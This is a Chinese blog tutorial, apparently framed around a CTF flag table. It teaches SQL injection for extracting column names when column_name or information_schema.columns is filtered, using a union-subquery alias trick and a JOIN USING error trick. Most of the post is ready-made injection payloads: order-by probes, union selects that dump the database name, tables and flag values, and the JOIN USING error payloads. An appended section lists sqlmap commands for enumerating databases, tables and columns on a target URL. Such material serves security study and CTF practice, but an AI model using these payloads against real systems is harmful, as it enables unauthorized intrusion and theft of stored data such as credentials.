【未知列名注入】

简介

在sql注入中,如果服务器过滤了column_name阻止我们获取列名,我们该如何绕过

一、union 绕过

使用union构造多个表,把数据表和构造的123表连接起来,我们看一下构造过程:
请添加图片描述

请添加图片描述

查询user表数据
select * from user;

Union联合查询,把两个表合在一起
select * from user where id=1 union select 1,2,3;

交换union查询语句的前后顺序,替换列名
select 1,2,3 union select * from user;
子查询
select * from (select 1,2,3 union select * from user)a;

现在就已经构造了一个表,并且有一个别名a,

查询a表的第二列,现在我们没有使用username列,就已经查询到了username列的内容
select a.2 from (select 1,2,3 union select * from user)a;
测试数字型还是字符型sql注入

id=1 输出admin

id=2 输出guest

id=1 and 1%23

页面有三种回显,并且有两种回显是根据id参数来的,那么可以猜测,服务器上是有回显位的,所以可以用union联合查询注入

测试列数
id=1 order by 3%23

测试回显位
id=-1 union select 1,2,3%23

拿库名
id=-1 union select 1,database(),3%23

拿表名
id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23

拿列名
id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'%23
被过滤,采用union构造的方式绕过

拿flag
id=1 union select 1,a.2,3 from (select 1,2 union select * from flag)a limit 2,1%23

二、using 绕过

using可以根据指定的列名,把多个表连接起来,我们先复习一下join
请添加图片描述

请添加图片描述

请添加图片描述
我们再看一个例子:
请添加图片描述
在上面报错的基础上,我们加上using(Id)把我们的id列给合并了,合并id后就不会报错id的错误了:

爆第二个列
select * from (select * from user as a join user as b using(id))c;

id列合并一起后,username依旧的重复的,那么会接着报下一个列的错误
请添加图片描述
第三个列同理,我们把报出的已知列继续加入using合并,那么就会继续爆出下一个列的错误:

第三个列
select * from (select * from user as a join user as b using(id,username))c;

请添加图片描述

练习join on
select * from user join flag;
select * from user join flag on user.id=flag.id;

练习using
select * from user join flag using(id);

练习子查询
select * from (select 1,1)a;

payload构造练习
连接user表,构造相同的列
select * from user as a join user as b;
在使用别名查询一次,就可以报错
select * from (select * from user as a join user as b)c;
爆第二个列
select * from (select * from user as a join user as b using(id))c;
第三个列
select * from (select * from user as a join user as b using(id,username))c;

三、总结

已经拿到库名,表名;在拿列名的时间,column_name或者columns被过滤,不能适用columns表来拿到列名。当然在column_name,columns等没有被过滤的情况下,也可以适用,只不过稍微麻烦点

Union 主要适用于有回显位的情况,

Using适用于报错的情况,因为using是通过报错信息,把列名信息带出来的

### 使用 SQLMap 进行列名爆破 当目标应用程序存在 SQL 注入漏洞时,可以使用 `sqlmap` 工具自动检测并利用该漏洞。对于列名爆破的具体操作如下: #### 构建基础命令 构建用于测试的目标 URL 命令结构,例如: ```bash sqlmap -u "http://example.com/vulnerable_page.php?id=1" ``` 此命令会尝试探测指定URL中的参数是否存在SQL注入漏洞[^1]。 #### 获取数据库信息 一旦确认了可被攻击的入口点,则可以通过附加选项进一步探索数据存储详情。要获取当前使用的数据库名称,可以在原有基础上增加 `--current-db` 参数: ```bash sqlmap -u "http://example.com/vulnerable_page.php?id=1" --current-db ``` 这一步骤有助于了解正在访问的是哪个具体的数据库实例[^2]。 #### 列举所有表格 明确了所在数据库之后,下一步就是枚举其中包含的所有表单。此时应追加 `-D` 和 `--tables` 参数组合来完成这项任务: ```bash sqlmap -u "http://example.com/vulnerable_page.php?id=1" -D database_name --tables ``` 这里假设已经知道了具体的名字为 `database_name` 的数据库[^3]。 #### 查找特定表内的字段列表 最后,在定位到感兴趣的某张表后(比如名为 `flag`),就可以执行下列指令以提取其内部定义的所有列的信息: ```bash sqlmap -u "http://example.com/vulnerable_page.php?id=1" -D database_name -T table_name --columns ``` 上述命令将会返回所选表内各列的详细描述,从而帮助识别哪些可能是敏感数据所在的列,如用户名、密码哈希等[^4]。 通过以上步骤,能够有效地运用 `sqlmap` 实现对未知架构下的关系型数据库管理系统(RDBMS) 中各个层次组件(库-> 表 -> 列)的自动化挖掘过程。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值